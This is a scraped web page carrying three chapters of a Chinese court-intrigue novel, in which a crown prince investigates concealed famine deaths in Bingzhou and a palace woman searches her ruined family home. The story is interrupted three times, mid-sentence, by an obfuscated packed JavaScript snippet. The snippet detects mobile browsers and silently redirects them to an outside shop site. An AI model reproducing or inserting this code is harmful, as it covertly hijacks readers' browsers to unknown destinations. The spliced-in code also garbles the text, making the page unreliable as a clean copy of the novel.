此时前院挤满了人,府里下人忙着布设今夜的筵席,为宫里来的贵人接风洗尘。 竺影便只在后院里晃悠。 梁府除正门还保留了原样,只更换过匾额,府里的布局全都变了样。原本家里崎岖不平的泥砖,换成了光滑的青砖,屋上的灰瓦也换成了琉璃瓦,墙下的竹丛连根铲了,改栽金粟,今也亭亭如盖。 这个时节,不见开花,只有一片郁郁苍苍。 竺影再没能从这里,寻到记忆深处里的竺家。 一连穿了几道廊,除了后院婢子的来来往往,还有一道脚步声像尾巴缀在身后。竺影定了定神,认真听辨,好似有人在跟着她。 回头一看,原来是角音那个缺心眼儿的。脸也黢黑,衣裳也黑,只睁着一双圆溜溜的眼珠子觑她。 便瞬间放下心来,任由这厮跟随。 她沿着墙走,四处张望,为的是找寻一面墙,一面镶着流云石壁的墙。 家人流徙至交州之前,祝令君领她到城外相送。那时父亲告诉她,竺府后院有一石壁,其后藏了一件很重要的东西。 他却不说是何物,竺影只猜到,应当和当年的北地之事有关。 她眼下要找的,是一件未知之物。 可是越往里走,越是迷茫,一点头绪都没有。 后院的墙都是新砌的,清一色平整的青砖,里里外外,都找不见一壁饰有石刻的墙。 安知当年拆家,他们有没有掘地三尺?哪里还有什么东西剩下? 后院的陈设改了,竺影只能凭着幼时的记忆,勉强推测出大致的位置,就这样寻了几圈,一无所获。 角音远远跟在她后面,抱臂看着,有些摸不着头脑。 等她回了,商音也回去给太子禀事。 屋里散着靡靡的香气,孟闻并未休憩,倚坐在榻上翻看瞿太守呈上的并州灾情与受灾名册。 “殿下。” 商音走进来,隔着纱帐,向里间行了礼。 “嗯。”孟闻随手翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630623|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过一页,依旧低头看文书,“看到什么怪事没有?” “殿下命属下盯着她,属下便寸步不离跟着,只见她在后院转来转去,最后竟是看到她在……南院的墙角下……” 角音面上露出一副极为难忍的表情,艰难吐出最后二字:“挖土。” 他怕如实说了,太子也不信。 “哦?”孟闻却一本正经道,“你跟去看过吗?墙角可有什么东西?” 角音一跺脚,急道:“我又不是狗!去看那个做什么?” 太子稍显不悦,冷声斥责道:“那就是不知道了,你就是这样办事的?” 角音忙低下头道:“属下知错,这就去看看。” 孟闻撂下文书,道:“不必去了。” 眼看外头天色已晚,前厅筵席布置妥当,主家遣人来传唤了。 孟闻起身下了榻,唤宫人进来更换一身衣裳,随引者去往前厅。 家主梁叡从人群中出来,向他行过一礼,面色殷殷道:“殿下。” 孟闻回礼道:“梁中正。” 梁叡道:“殿下莅临并州,下官略尽地主之谊,若有不周之处,还望殿下见谅。” 孟闻道:“有劳梁中正操劳,起居与饮食皆便宜,并无不妥。” 一阵寒暄过后,主君相邀,太子与几位大臣依次落座。 席间,梁叡举杯相敬道:“殿下一路舟车辛劳,待这几日休息妥当,下官亲引殿下到观星楼旧址一观。” 谁知太子却不谈这事,转而提起另一件事来:“方才潦草看过郡守呈上的灾情录,有一事不解,故而想问一问中正。今年寒灾遍地,各郡各有民居损毁万千,冻死灾民无数,独独云琅这一块,不见什么灾情,道上也无流民,这是为何?” 云琅太守坐在下席,拱起手来,却并未起身,似乎欲言又止。 梁叡先行道:“殿下有所不知,云琅城之北有高山阻隔,冷风难至,故而此处较其他各郡更暖和,灾情自然轻些。” 孟闻道:“原来如此。” 他心知遭了搪塞,不再过问其它。 今夜在宴上兴致寥寥,仅仅尝了几口,滴酒未沾。 等梁府婢女再度来添酒时,突然听到投箸的声音。 众人都循声朝上座望去,筵席刚开不久,太子殿下却早早下了筷子,微笑看向众人道:“诸位慢用,不必顾及我。” 梁大人见状,急忙张口劝道:“殿下是否再多进些餐饭?” 孟闻道:“胃口不佳,恐要辜负家君一番美意了。” 梁叡虽面上努力维持笑意,却已经如芒在背了。 等太子离席回了寝居,主家即刻遣人去打听。 殿下在屋中休憩,只燃灯一盏,两个宫人守在外头。 管事的便来问宫人:“敢问贵人,太子殿下怎么吃得这般少?可是今日备的饭食不合口味?” 门口的宫人解释说:“殿下不喜奢靡,主家只须顾好礼节便可,不必在饮食起居上多费功夫。” 管事向宫人揖了一礼,道:“待小人回去转告主君,多谢贵人了。” 孟闻听得屋外一番动静,吩咐屋中的宫人:“命人将熏香撤了。” 宫人点头应是。 他又吩咐:“去叫竺影过来。” 宫人再一点头,行过礼出去了。 30. 春回醒枝(十) 宫人去请竺影时,她正在房间里费劲洗着手。 泥土在指甲里陷得太深,洗了四五遍了,依旧是洗不净。 小宫女推门进来,笑着同她道:“竺姊姊,殿下叫你过去呢。” “找我?”竺影回头,从架上扯下条手巾擦干净水。 “是。”小宫女笑着点点头,“姊姊快过去吧。” “啧,大半夜的事真多。”竺影一边骂一边出门,到了太子跟前,又笑得殷勤。 “殿下召我前来,可是有事情要吩咐?” 孟闻抬手招她上前,说道:“今日过问梁叡并州灾情如何,我见他话语中多有隐瞒。”说着,便将那册灾情记录递了过去,“你看过这些,有什么见解,都可尽数说来。” 不去问随行的官员,竟是来问她么?竺影心中怪异,太子竟然疑神疑鬼到了这种地步,谁人都不敢轻信。 她伸手接过那册子时,指甲缝里还有未洗净的泥污,也不知是刨了多少遭的土。 孟闻将灯台移近了些,让她坐在灯下看。 翻书声与屋外树叶沙沙声,填满了沉默的间隙,这个季节始有虫鸣。 竺影一页一页地翻看,手心不知不觉生了汗,说不好是白纸黑字的记录令她胆寒,还是屋内另一人的缄默使之心慌。 并州灾情有所隐瞒不假,地方的官员在这些事上都有种心照不宣的默契,无非是怕上头问责,连累到年底的政绩考核。 并州大大小小的事皆由梁氏在管着,今年朝中更是拨了大笔钱粮给并州,她若指出这册上记录定是做了假,有谎报的成分,不是当面拆了梁氏的台,打了陛下的脸吗? 且不说她眼下暂居梁氏的屋檐下,就是在宫里,梁家也是她开罪不起的。 太子殿下亲自来趟这趟浑水也就罢了,还要将她也一并拉下水。 孟闻侧过身子,地上的影子也斜移向她。 “看完了么?”他问。 竺影放下册子,长出一口气,说道:“看完了,只惜我不通政事,此等大事,殿下应当问询更信得过的人。” 孟闻倚回凭几,以手支额,玉色的面庞被灯火笼罩,覆上一层淡淡的橙黄,才显出一点血色,仿佛疲乏至极。 他嗤了一声道:“更信得过的人,你是指容桢,还是祝从嘉?” 他都这样问了,看来是对此二人颇有微词。 竺影看着他的脸,默而不答。 这才是刚到云琅的第一日啊。 孟闻说道:“我少时在辟雍读书,多见膏粱子弟为伍,不读诗书策论,只借老庄之言,平生终日梦为鱼。这样的人入朝为官,占着高位却做不出什么建树,不过虚糜朝廷俸禄。从前我深以为恶,而今却发现,庸碌之下,更有贪官佞臣,这等人最善逢迎,为己谋私。顶着忠君之名,背地里却搬弄是非,搅得家国不宁。论其罪恶深重,远甚于前者。” 竺影不知他骂的是容侍郎,还是祝令君,自然也可以是梁中正。 她反问:“敢问在太子殿下眼中,何为忠,何为奸?” 他一愣,且不去计较她避而不答,反倒来过问主君的失礼了。 “虔心事君为忠,鞠躬尽瘁为忠;逢君之恶为奸,为己谋私为奸。” 他难得有耐心和她解释这些,这便是他心中用以衡量忠奸的秤杆。 如果是这样的话,祝从嘉在他眼中,恐怕算不得一个好人。 孟闻见她久久不言,遂提醒道:“眼下该你作答了。我选择在这一事上信你,是因为你生长于云琅。反正这滩浑水你注定要趟,何须顾忌太多?” 竺影轻轻叹了一口气,这些事终是没能绕过去。 她便又拿起那本册子来,又该如何去说,即便并州的官员作伪,将灾民人数往少了报,那白纸黑字亦有千斤重呐。 忖度一番,慢慢说来:“只是翻看名册的话,其实我也说不准。我自幼长于云琅,雪灾年年都有,不论轻重,轻则只是压坏草屋,封塞道路。重则——贫者不得生,民居倒塌万千,路边冻骨无数。今年未雨绸缪,朝廷早早拨了银两预备寒灾,倘若那些赈灾银都落到了实处,加固庇所,囤好冬粮,定然可以少去许多伤亡。若是防备得早,治理得当,无人伤亡,也并非不能做到。” “家父……他当年任云琅太守时,曾有一年寒灾过后,上至郡城下至县乡,没有一个百姓受冻挨饿而死,除了几个年关收走的老人。所幸那一年是丰年,冬雪也来得迟。正是那年政绩卓著,家父才得陆尚书举荐,入朝为官。” 提及自己父亲的政绩,本该是极为骄傲的,可她声音却一点点虚了下来。 短短三年便升任太常,一时风光无两。可惜好景不长,竺太常在任不足一年,因受陆尚书牵连,一并被撤职发落,流徙交州。 她字字句句没有怨责,字里行间又都是怨责。 孟闻听完,心中已有了数。 竺影道:“册上记载得再详细终归只是一个数目,未必属实。殿下,何不亲自去看一看呢?” 孟闻道:“正有此意。你且早些回去休息,明日仍需你与我一道。” 她睁圆了眼睛,反复确认道:“我也一并去吗?” 他一本正经说鬼话:“那是自然,莫非你也想做虚糜朝廷俸禄的人么?” “自然不敢。” 拿了女官的俸禄,干的却是掉脑袋的活,只怕不干也得掉脑袋。至于那些个俸禄比她高出许多的,他只当没看到。 她本想趁明日太子出去了,再到梁府后院找些蛛丝马迹,如今只得将自己的事先放一放了。 竺影强忍着一肚子牢骚不平,寻了个冠冕堂皇的借口,“只是为殿下的声名着想。殿下此行是为公务,却携我同往,难免惹人非议。” 他眉头蹙起,不以为意道:“有什么可非议的?” 虽是托辞,她也说得振振有词:“值此百废待兴之际,并州早就民怨沸腾,哀声四起,殿□□察民情时仍携一女子随侍左右,就不怕惹得民间诸多议论吗?” 听她说罢,孟闻反而失笑:“议论我色令智昏,就凭你么?” “……” 竺影阴沉着脸睨他。 他那神色,就差递一面铜镜过来,叫她好好照一照了。 孟闻一扬手道:“且去罢了,此事不必你忧心。” 竺影离席长拜,便要离去,行至门口时,这厮又开口。 “话说——” 她折返回来:“还有何事,殿下?” 里间的太子慵懒倚着凭几,朝她淡淡勾唇:“今日在院子里刨土,好玩儿吗?” 竺影顿时明了,定是角音同他说的。 她盯着指甲缝里的泥污,面上赧然,不理他的揶揄,只一拂袖便夺门而去。 回去定要把他放在心中,骂个成百上千遍。 正值冬末春初,昼渐渐长,夜渐渐短,窗外有些朦胧的月色。 竺影望着雾蒙蒙的月光,躺在榻上翻来覆去几遭。 须臾风过,庭间有石榴树叶的沙沙声。 这就是云琅的夜晚,比皇城寂寥许多。 她从来没有离家如此近,也从来没有离家如此远过。 许是因赶路疲乏,这一路上都没能好好休息,她骂过几句,便忍不住困意沉沉睡去。 翌日一早,有宫人给她送了衣裳过来。 “殿下叮嘱,请姊姊换好了衣裳再去。” 竺影与之道了谢,便接过衣案来。 只看其上端正摆放的木簪与玉冠,便知是一身男子装束。 竺影又回屋去,换上雪青色的长褶与绀色的绔,又解了发髻,束成高髻,最后簪上玉冠上,对镜而照,怎么看都还是女子。 难为太子殿下一番“良苦用心”,只当是自欺欺人吧,她也懒做挣扎。 就这般出门到前院去,太子正与梁中正寒暄,竺影垂首立在一旁候着。 身后突然传来一声咨嗟,她又转头看去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645676|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角音上下打量她一番,满脸嫌恶道:“真碍眼。” 竺影道:“不如你向殿下谏言,别让我跟着去,省得碍了你的眼。” 角音道:“呵,我哪里敢呢?” 竺影道:“那就闭嘴。” 适才梁叡道:“太子殿下到寒舍暂歇不足一日,便要前往云中郡去了吗?观星楼旧址就在城外十余里,殿下何不在此多休息一些时日,等到春回日暖,下官亲引殿下过去?” “不必着急,我与诸位臣僚不专为此事而来。” 孟闻一摆手,打发了他。 太子与容侍郎各自领两行队伍,分别往云中郡与骆门郡去了。 春日迟迟,鸟鸣也迟迟。 昨夜看完那本荒唐的册子,今日又见萧条景象,竺影坐在马车上满心怅然。 车马行过之处,百姓自觉退至道路两旁。 目送着自京城而来的“贵人”,目中写满了茫然与惊惶。 她何时在云琅百姓的脸上看见过这种神情呢? 时至今日竺影终于接受,那个天下升平的盛世,已经过去很久很远了。 马车经过城外时,遥遥见着有一片广袤的荒地,占地约莫二百亩。 云琅多山,少有耕地,难得看到一片平坦的土地,却不见庄稼,连村户也没有。 孟闻挑起车帘,指着那片荒地问:“那里离城郭不远,为何不见人烟?” 竺影回道:“那里就是观星楼旧地,殿下。当年要在那里建楼时,方圆十里的百姓都迁走了,您若是再往里走一些,便可见到遗留的基址了。” 她说完,孟闻只怔忡望着那片焦土,默不作声。 竺影道:“这几日又回冷,梁中正非但不领殿下前去探访灾情,反倒对观星楼格外上心。原本,我也以为殿下是专程为这事来的。” 话音间隐隐有奚落之意,就差把嫌他是个昏聩之徒写在脸上了。 孟闻放下了帘子,不忍垂目叹息:“他们当然得盼着观星楼早日建起来,届时朝廷拨了款项,他们才有得贪,不然你以为单凭一个中正官的俸禄,养得起偌大的梁府?” 梁中正久在边地任职,边民疲困,土地贫瘠,收上来的税粮也寥寥。并州之北乃是乌护,虎视眈眈盘踞在疆界线上,那税收里还囊括了一笔不菲的军费支出,层层克扣下来,就不剩下多少了。 北地的官员能捞得的油水少,这才盼着那笔钱落到并州这边来。只等观星楼楼落成了,在任的官员便可在政绩之上又添一笔。利在当代之事,自然殷殷期望。 竺影只是不解。 “明知道他们会贪,仍要由着他去中饱私囊,如此一来,不就重蹈当年的覆辙了吗?”她问。 他只当此事早已稀松平常,淡淡道:“满朝上下,文武百官,皆是如此。你指望谁在官场浮沉十几年后,还能留有良知?” “有啊。”竺影想去反驳,自然是有的。 他嘴角却挂着戏谑的笑,紧接着问她:“又要说起你父亲,还有那位祝令君了吗?” 竺影心中气恼,一声不吭背过身去,半个眼神也不愿施舍给他。 可车舆狭窄,不过方寸,哪怕不回头,也能感觉到身后那道目光,察察切切落在她身上,盯得她浑身发慌。 竺影铁了心不给他好脸色,最坏的结果,也不过是主君动怒,把她丢下马车去,这才正合了她的意。 奈何左等右等,也等不来他一句不轻不重的问责:“这就气恼了?” 她不答话。 又问:“说不得吗?” 她也不作声。 一时分不清谁是主君,谁是宫人。 车轮楞楞碾过碎石路,车中落下一声无奈的叹息,到底是他先败下阵来。 只听他说:“我知道你为何会回来。” 竺影这才回头,狐疑看了他一眼。 他接着道:“你为你的家族,为你父兄。想必你也猜得到,我亲自到并州来,是为了什么罢?” 31. 拟行路难(一) 竺影知道他要说的是何事,却识趣地闭上了嘴,只字也不提。 一桩贪墨案尘封了七年,当年京中被判斩首者过百,流亡者数千万众。 竺家、陆家也都没能逃过,宫中多的是像她一样被罚入宫的官家子女,太子殿下,怎么偏偏就选了她呢? 情谊在功名面前太浅,利禄在仇恨面前又太轻。 她眼下还做不到信任,唯一能做到的,就是在知晓他的过往后,不去像北地生民一样痛很他。 不知又过了多久,车轮依旧辘辘向前,嘈杂环绕在耳边,他率先打破静默。 “怎么不说话?” “我猜不到。”竺影说。 他殷殷期待的目光中,竺影低下了头。 “殿下,我——什么都不知晓。” 孟闻审视她许久,她不善撒谎,骗人的手段并不高明。 换做是往常,不带责备的打量过后,他总会轻而易举揭开她的谎。 这回他懒得去拉扯。 “你只当我是——看错了人。” 话音轻似叹息。 他收回落在她身上的目光,垂首靠在枕上,难掩失落。 其间很长一段时间,到云中郡的一路,他都没有再开口。 只抿唇,面色凝重看着车外。 又仿佛没什么好问的。 一路的萧瑟已给了他答案。 近来已是二月春,枝头不见新芽,路旁不见春草。连飞禽走兽都不见,可见这里的生民境况得并不好。 车马碌碌行了半日,才到云中郡。 云中太守早先得了消息,亲自出城来迎。 孟闻派人在城中巡了一遭,城中萧条,没几个人影,沿街的铺子也不开张。 除了冷清,他从这里瞧不出什么端倪来。 云中郡守解释说,只恐那些庶民冲撞了殿下,才不许他们到街市上来。 太子不计较这些,遂不多问了。 又到太守府上,孟闻问乡下房屋损毁多少,死伤者几何,云中郡守一一答了,与梁氏上呈的记录一般无二。 孟闻又问:“官仓中余粮还有多少?” 太守答:“回殿下的话,余四仓。” “好。”孟闻道,“这两日回冷,朝中按各郡人口分拨了粮草与药材,明日就会送到,还请府君躬身督促,提防春寒。中途若遇阻格,可直接遣人告知于我。” 太守应是,顿首长拜道:“下官代云中百姓拜谢殿下仁德。” 孟闻转过身,眼中流露些许不耐烦。 待派往城里巡视的手下来禀,他们所言,也是一样,未发觉什么有异常。 倒是他身旁跟着的女官,从始至终讷讷的,不开腔。 孟闻也不问她。 仅过半日,便领属下辞了云中太守,折返于途中。 太守着急挽留:“府里已设下宴席,还请殿下伫足,容许下官设宴款待。” 孟闻道:“公务繁忙,不宜多留,只得辜负府君厚谊了。” 太守张口正要再劝,孟闻话锋一转,讥诮道:“再说——太子留于城中一日,百姓就须得闭户不出一日,如此一来,岂不成了我的罪过?” “实是下官疏忽,还望殿下恕罪。”太守一拍脑袋,懊恼不已。 孟闻道:“礼节徒劳,府君无需过多顾及。我观云中郡治下安稳,寒灾治理也妥当,少有伤亡。对陈府君的奖惩功过,相信梁中正自有定论。” 云中太守连连陪笑称是。 再一看,府上一卒一卫,门前一草一木皆耷拉着,一幅唯唯诺诺的样子。 叫人发难也不是,不发难也不是。 孟闻辞了太守府,方一回到马车上,就忍不住气笑了。 “昨年是丰年,又历三冬雨雪,他这官仓中竟还有四仓余粮,好一个仓廪丰实——”他好一顿阴阳怪气,又看向竺影道,“论其政绩卓著,怕是连令尊也比不过罢?这就是你说的,叫我亲自来看一看?” 竺影一路上憋了一口气,这时终于开口:“地方上的官预先知晓殿下要来,当然早早有了对策,沆瀣一气,官官相护,也是常见的。想来殿下再去别的郡县,看到的也是一样的境况。” 孟闻道:“既如此,我又何必走这一趟呢?” 是啊,何必? 竺影也不知,他明明是为了查陆尚书一案而来,此时却因地方官员欺上瞒下而恼怒,到底是为哪一遭。 她如事不关己,轻飘飘道一句:“说不定——殿下还能指望良知尚存之人冒死一谏。” 尽管他不久前已问过,官场浮沉十余载,你指望谁还留有良知? 那时她答,自然有的。 “哼。”他冷地哼笑一声,“良知这种东西,你信么?” 竺影笑道:“这东西我虽没有,却也还是愿意信一信的。” 语不惊人死不休,一言一语都似在赌气。 太子殿下更气了,横眉冷目怒对着她。五指死死扣住窗框,恨不得在其上抠出一个洞来。 焦峙之时,车舆忽然一阵颠簸。 也不知是行过了哪一条崎岖路段。 竺影身子猛地向前一倾,所幸扶住了窗框,勉强坐稳,再看太子殿下正襟危坐,显然怕她再度扑倒在他身上。 这回他手上可没书可抢。 好险,她差点重蹈来时的覆辙。 两人不约而同都松了一口气。 等马车平稳下来,队伍却停滞不前。 孟闻靠近车帘,问车外护卫:“发生了何事?” 护卫答:“殿下,前路有人拦截车马。” “何人阻拦?流民还是别的——” 不待他问完,外头有人叩首高呼道: “下官瞿良,求见太子殿下。” “瞿良,瞿太守?” 他不驾马驱车,徒步行至道中,身后只带了两个仆从,出现在太子回云琅的必经之路,属实怪异。 孟闻心下疑惑,抬眼却见对坐之人,微微扬起的嘴角。 她早就猜到了似的。 没来得及犹疑,马车外最冲动的那厮径直拔剑架在了太守脖子上,冷声质问道:“瞿府君欲求见殿下,何故到这荒郊野外,拦了马车?” 瞿太守惶恐道:“下官实是有要事相告!” “屁!”角音啐了一口,道,“是不是跟姓梁的老贼串通好,要在半道上埋伏——” “角音!”怕他再抖出些什么来,孟闻当即掀了车帘出去,喝止他道,“收起剑来,休得孟浪!” 角音道:“是他这厮行事怪异,殿下勿要轻信了他。” 孟闻走上前,道:“什么要事,且待他说来,我再掂量信与不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16670356|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信。” 角音这才收剑入鞘,提了瞿良到孟闻跟前。 瞿太守双膝一弯,扑通一声跪地,以手加额顿首道:“太子殿下,下官斗胆——” 这一叩,额头砸在驰道的碎石上,叩得鲜血淋漓。 孟闻扶住他双臂,问道:“瞿使君,何故如此?” 瞿太守道:“下官私自前来,是为替云琅万千灾民求一条生路。云琅并非没有灾情,殿下见城中风平浪静,是因受灾的百姓都被驱逐出城,赶往其下小县去了。” “乃尔?”孟闻心下一惊。 瞿太守忍不住泪下,不断揩泪,又粘额上血迹,揩得脸上袖上都血淋淋,好不狼狈。 “目下葛县物资闭塞,百姓困于城中不得出,下官实在是没有别的办法了,只得来求殿下。” 孟闻道:“使君勿急,请与我一一说来,此去葛县多远?需几日路程?” 瞿太守道:“往返约莫一日路程。” 孟闻又道:“你来时梁氏的人可知晓?” 瞿太守道:“下官不敢教旁人知晓。” “好。”孟闻召来属下,吩咐道,“角音,你先回云琅告知梁叡,我且在云中暂居一日,明日再回梁府。” 角音道:“殿下今也劳顿了一日,不若先由属下去葛县探一探虚实。如若真听信了他的话,万一路上遇上埋伏——” “照我说的办。”孟闻不待他再多言,“若容侍郎先回了梁府,便转告他,不必先到观星楼旧地去,只需盯好梁叡的一举一动。” 角音领命,道:“是。” 孟闻回到马车上,问竺影道:“你要随我去葛县,还是回云琅?” 竺影心底更情愿回云琅的,因她有事未了。可是对上他那双眼,却鬼使神差地点了头。 “我与殿下一同过去。” “好。”他落下了车帘,没给反悔的余地,便令御夫继续驾车。 角音只领几个兵卒随行,前往云琅传信,余下的甲卫继续护卫太子,转道去往葛县。 途中,孟闻再度看向那个不再木讷的女官,问她:“你早就知晓云琅太守会来?” “我猜到的,殿下。”竺影说道,“这么多年过去了,云琅城里我仍认识的故人不多,瞿府君是其中一个。他从前……同家父有些渊源。” 孟闻盯着她一双眼,又问:“为什么之前不敢说?” “自然是因为害怕啊,殿下。因为我也会惶恐。”她挺直背脊坐着,冠冕堂皇道,“一旦牵扯上那桩案子,多少人仅仅因开口丢了性命,这么多年您在西苑,当然不知晓。” 他说道:“我当然知晓。” 竺影继续道:“所以还请您——不论在葛县看见了什么,都不要怪罪于他。瞿太守已是冒着得罪梁氏的风险,才敢来求您的。” 孟闻道:“这我也知道。” “哦。”竺影淡淡应着。 他既都了然于胸,倒显得她的话有些多余了。 轺车驶离驰道,车轮碾过碎石,扬起尘土,踏上了一条截然不同的陌道。 此一途仓促奔忙,漫天飞扬的尘埃裹挟着她向故土中去,赶向瞿太守口中的那个小县。 这才是她预料之中的云琅。 泼天苦海,尸堆成山。 她两手空空地来,救不了。 看不得。 32. 拟行路难(二) 翌日,耳畔忽闻刀兵相接,竺影从觉中惊醒,滚下座来,睁眼一看,帘外晨光熹微,车外一阵吵吵嚷嚷的动静。 “殿下,发生何事了?” 她遮眼挡住刺目的光线,来不及看清。 已经到了云琅,不知前方因何阻滞,马车仍停在半道上。 “别动。”孟闻抬手稍作安抚,示意她留在车上后,先行下了马车。 竺影挑了车帘看去,只见阻在轺车前的,足有十几匹精壮的马,马背上的人身形高大,穿著短衣,辫发垂肩,只配皮革裹头,皆佩着短兵。 是乌护人。 队伍最前的守卫持剑护在太子身前,着急道:“殿下,您怎么下来了?请速回车上,勿让这群蛮子伤了!” 孟闻摆手道不必,旋即迎上骑着高头大马的外族人,凛声质问:“这是梁国的城池,何人准许你们在此处撒野?” 对面的人回复了,说着汉人听不懂的异邦语言。 双方争执不下,更有乌护人先拔刀出了鞘,只留刀鞘在腰间。 随行的梁国甲士也持矛相对,剑拔弩张之势,一触即发。 逢此时,角音领着百十兵士,直冲这处奔来。乌护人见状不对,当即挥舞弯刀冲进人群里,肆意砍杀,欲图趁乱逃走。吓得百姓四处躲藏。 孟闻下令道:“先护好百姓!” 而后两兵相对,刀鸣铿锵,鲜血溅上车帘,竺影坐在车里,一动也不敢动。 她还是头一回离刀光剑影这般近。 城中砍杀过后,还剩十余个乌护人策马向城门逃出,角音也领命带兵追出城去。 马蹄过处,细尘飞扬,土砖道上,延绵一地的血迹。 孟闻吩咐余下的士兵:“去看看,可有民众受伤?” 拂去周身尘土,才去看车上剩着的竺影,问她:“有无大碍?” 竺影抱紧双臂,攥紧前襟抚平心悸,只是摇头。 “那便好。”孟闻松了口气,又叫她下来,“马受惊了,车行不得。” 少顷,扬尘略定。 她平复些许,走下车来。 到了梁府正门前,容桢与梁睿又领几十个官员匆匆忙忙从两侧门里跑出来迎接,照了殿下的面,一个个躬身长揖,嘴里直念叨着:“使殿下受惊,下官死罪!” 乌泱泱的官袍挤满了阶跺前。 太子挥袂冷道:“呵,确是死罪。” 他难得动怒了,见地方上尸位素餐之人纵出此等事了,还想指望他的宽宏么? 顶着官帽的人不敢说话,便把头低了又低。 孟闻略过众人,径直走入正门,一众臣子跟在后面,提着脑袋等他问罪。 到了前厅,他撩了衣摆往琼筵上端坐,像一尊刚从泥里捞出来的玉菩萨。 一身仆仆风尘,银白色的衣裳都染成土色了,袖子上还沾几点血污,看得几个老臣触目惊心,年轻的臣子也跟着胆颤啊。 于是只敢在外站着,谁也不敢入坐。 婢女捧了银壶进来奉茶,孟闻拈起茶杯转了几遭,转得浮沫都散了,剩几片茶叶在杯底沉淀着。 “我到并州以前,听闻北地四年平和,其间乌护从未来犯。今日却见一群蛮子闯进城里来,横刀跃马,劫掠商贩。” 他饮了一口便放下,单单抬眼看向梁叡。 “我倒想问一问梁中正,那些乌护人何以越过边线,到这里来招摇过市?戍边的将士是单单吃了军饷放在那里做摆设的吗?” 梁叡拱了手,恭敬回禀道:“回殿下,乌护商人常与边民互通有无,做些买卖,甚至于到城里采买,这些都是被默许的。” 孟闻道:“是谁默许的?是你,还是陛下?” 梁叡道:“都是……并州各郡的官员心照不宣的事,唯有如此两国互不相扰,边境才能安定。” 此话一出,便是将他身后的一众北地官员也架上了风口浪尖。 瞒报灾情的事才刚刚盖过,这会儿又掀起一层浪。 孟闻质问道:“由古至今,夷狄无信,易动难安,故斥居塞外,不迁中国。*你说的互不相扰,便是纵容外族持兵械入我国境,砍伤百姓吗?你讲的安定,是拿我朝的尊严去换的吗?” 梁中正遇上则骨头软,逢责难先跪了认错再说,这会儿双膝一沾地,对着太子殿下长拜不起。 “下官梁叡知罪,还请殿下准予,即刻派人去查,究竟是何处边防松懈,竟使外族持械掠过边境而来,进城伤了百姓,险些累及殿下。” 他这一跪,余下的北地官员都跟着跪下,替他求情。而今北地的官员多由梁氏层层提拔上来,多年沆瀣一气,遇到这些事,总是团结得很。 这群人也门清,知道陛下只派他来,却不曾下放生杀予夺大权。 何况这位梁中正还是中书令的族弟,太子还要冒着得罪整个梁氏的风险,先斩后奏不成? 孟闻见到这场面,头疼得很,讥诮道:“今日城中百姓多遭劫难,死伤者众,还请梁中正先遣有司携钱粮补偿,加以抚恤,安稳民心。再好好去查问查问,究竟是哪一方官员允了乌护特权。” 梁叡听到这里,终于落下一口气,顿首再拜称是。 孟闻又道:“我于归途之中,顿感风寒,恐是余寒未褪,春寒又至。更见途中百姓食少衣单,不耐饥寒。各郡久历寒冬,官仓余粮所剩无几,一时半刻拿不出更多钱粮。城中若有士族愿捐钱纳粮,扶助百姓渡此难关者,一一记赏。来年中正官举孝廉入仕,举荐的标准里,也要列入这一条。有劳诸位前往各郡布告。” 众人应是。 孟闻专门点一点梁叡:“梁中正,你可记下了?” 梁叡复又拜道:“下官谨记。” 孟闻转头问侍郎容桢道:“侍郎在骆门郡中所见如何?” 容侍郎秉直,当着骆门郡诸官的面,坦言道:“臣观骆门治灾措施阙漏颇多,临近春寒也未有绸缪,其间种种失政,一时半刻讲不完全。还请殿下稍作等候,待臣将其一一罗列,再呈与殿下细看。” 孟闻道:“有劳侍郎,还请晚些差人送至客舍里罢。” “是。” 孟闻一摆手遣他们退去,自己也回了客舍,奔波一日一夜,终于落个清净。 竺影一直在旁等候,等他从前厅里出来,才得以跟随他回后院。 脚步声一传至内墙,院里的三个宫人迎出来了,一个个三言两语道: “殿下终于回来了呀。” “本以为殿下昨夜就能回来的。” “殿下昨日真是辛苦了。” 宫人脸上都挂着笑,面色也白净,脸上敷着淡淡的粉,梳起圆润的发髻,连下裳的褶皱都理得整整齐齐。 竺影看到她们,忮忌止不住地从心底冒。 唯有她在殿下身后,顶着灰头土脸,似是跟他在泥坑里摸爬滚打了一番。 孟闻解了戒指环佩,搁在宫人手中,吩咐下去:“备热汤,我要沐浴。” 怀岫应道:“已经备好了,殿下。” 他解了外衫走向屏风后,说道:“都出去罢。” 竺影就等着他这句话了,目下,她只想立刻回屋,死榻上去。 刚扶着榻边,坐在踏床上休憩,有个小宫女轻轻推门进来。 是跟她同住的宫人,名字唤做翡儿。 翡儿到她旁边,细声细语问道:“竺姊姊,你很累吗?要不要放水给你沐浴?” 